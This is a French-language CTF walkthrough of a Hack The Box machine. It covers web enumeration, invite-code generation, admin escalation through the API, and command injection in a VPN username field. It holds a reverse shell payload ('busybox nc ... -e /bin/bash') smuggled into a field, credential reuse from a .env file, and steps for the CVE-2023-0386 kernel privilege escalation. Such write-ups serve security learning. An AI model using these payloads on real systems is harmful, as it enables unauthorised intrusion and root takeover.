Skip to the content.

Foothold

First scan

nmap -sCV -T4 $box -oN nmap.scan

gives us

On fait un ffuf, on filtre la sortie et on obtient quelques pages intéressantes.

ffuf -u http://$url/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -o dirs.json

cat dirs.json | jq '.results[] | select(.status != 301) | {url:.url, status:.status}'

On arrive sur la page register mais il nous faut un code d’invitation pour pouvoir se créer un compte.

La page invite, elle, nous permet de tester un code d’invitation.

On peut lire la fonction inviteapi.min.js

function i(code) {
  var formData = {"code": code};
  $.ajax({
    type: "POST",
    dataType: "json",
    data: formData,
    url: '/api/v1/invite/verify',
    success: function(response) {
      console.log(response)
    },
    error: function(response) {
      console.log(response)
    }
  })
}

function j() {
  $.ajax({
    type: "POST",
    dataType: "json",
    url: '/api/v1/invite/generate',
    success: function(response) {
      console.log(response)
    },
    error: function(response) {
      console.log(response)
    }
  })
}

On voit dans le code la fonction generate, on fetch cet endpoint et on obtient un code.

TzgyWVktOExSV1EtSUNVWDUtUk0xOTY=

Que l’on décode

O82YY-8LRWQ-ICUX5-RM196

On a accès à très peu de choses une fois connecté, l’onglet principal ici étant le changelogs, ils reportent plusieurs soucis notamment que les utilisateurs avaient accès au docker et que la version du site était affichée.

Quand on clique sur la génération d’un fichier ovpn, on fait appel à un endpoint /api/v1/user/vpn/generate. A partir de ça on doit deviner qu’il existe un endpoint /api/v1/admin.

On fuzz ce nouvel endpoint

ffuf -u http://$url/api/v1/admin/FUZZ -w /usr/share/wordlists/seclists/Directory/Web-Content/raft-medium-directories-lowercase.txt -o admin.json
cat admin.json | jq '.results[] | select(.status != 301) | {url:.url, status:.status}'

On trouve un endpoint auth.

En faisant un fetch sur /api/v1 on obtient une liste de 3 endpoints intéressants: /api/v1/admin/auth, /api/v1/admin/vpn/generate et /api/v1/admin/settings/update.

Comme le tout est guidé on arrive assez vite à upgrade notre compte en admin.

On se rend sur le dernier endpoint et on trouve qu’ils nous demandent un username. Comme le fichier ovpn doit sûrement être généré par une commande cmd, on se dit qu’il y a sûrement une rce possible, on tante de mettre comme nom “$(whoami)” et bingo, on voit “www-data” dans le certificat.

Il ne nous reste plus qu’à lancer le listener et mettre comme nom

$(busybox nc 10.10.14.11 4444 -e /bin/bash)

Et bingo, on obtient le shell! (que l’on stabilise de suite)

Privilege Escalation to user

On commence par un simple grep pour chercher un mot de passe.

grep -Ri 'password' ./

et on trouve rapidement un mot de passe:

SuperDuperPass123

On lit le fichier .env:

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

En lisant Database.php on voit que la database est une db mysql. On se connecte avec

mysql -u admin -pSuperDuperPass123 -h localhost htb_prod -e "select * from users;"

En fait pas besoin de se connecter à la db, on peut se connecter à l’utilisateur admin en ssh.

PrivEsc to root

Les commandes classiques (sudo -l, suids, sgids) ne nous donnent rien, en revanche avec un find on trouve un dossier intéressant auquel notre utilisateur a accès:

find / -user admin 2>/dev/null

On trouve /var/mail/admin.

Dans ce mail on nous dit que le kernel est vulnérable et en particulier celui dans OverlayFS/FUSE.

On trouve rapidement une CVE sur le web: CVE-2023-0386. On obtient le lien d’un github que l’on clone dans le dossier /tmp et on exécute les commandes de la CVE. https://github.com/puckiestyle/CVE-2023-0386

On ne peut directement télécharger depuis github donc on lance un serveur python et on récupère le dossier avec

wget -r --no-parent http://10.10.14.10:8080/CVE-2023-0386

On suit les consignes: on lance les commandes

make all
./fuse ./ovlcap/lower ./gc

Et sur un autre terminal

./exp

Et on obtient le root shell.

Et voilà, la box est finie.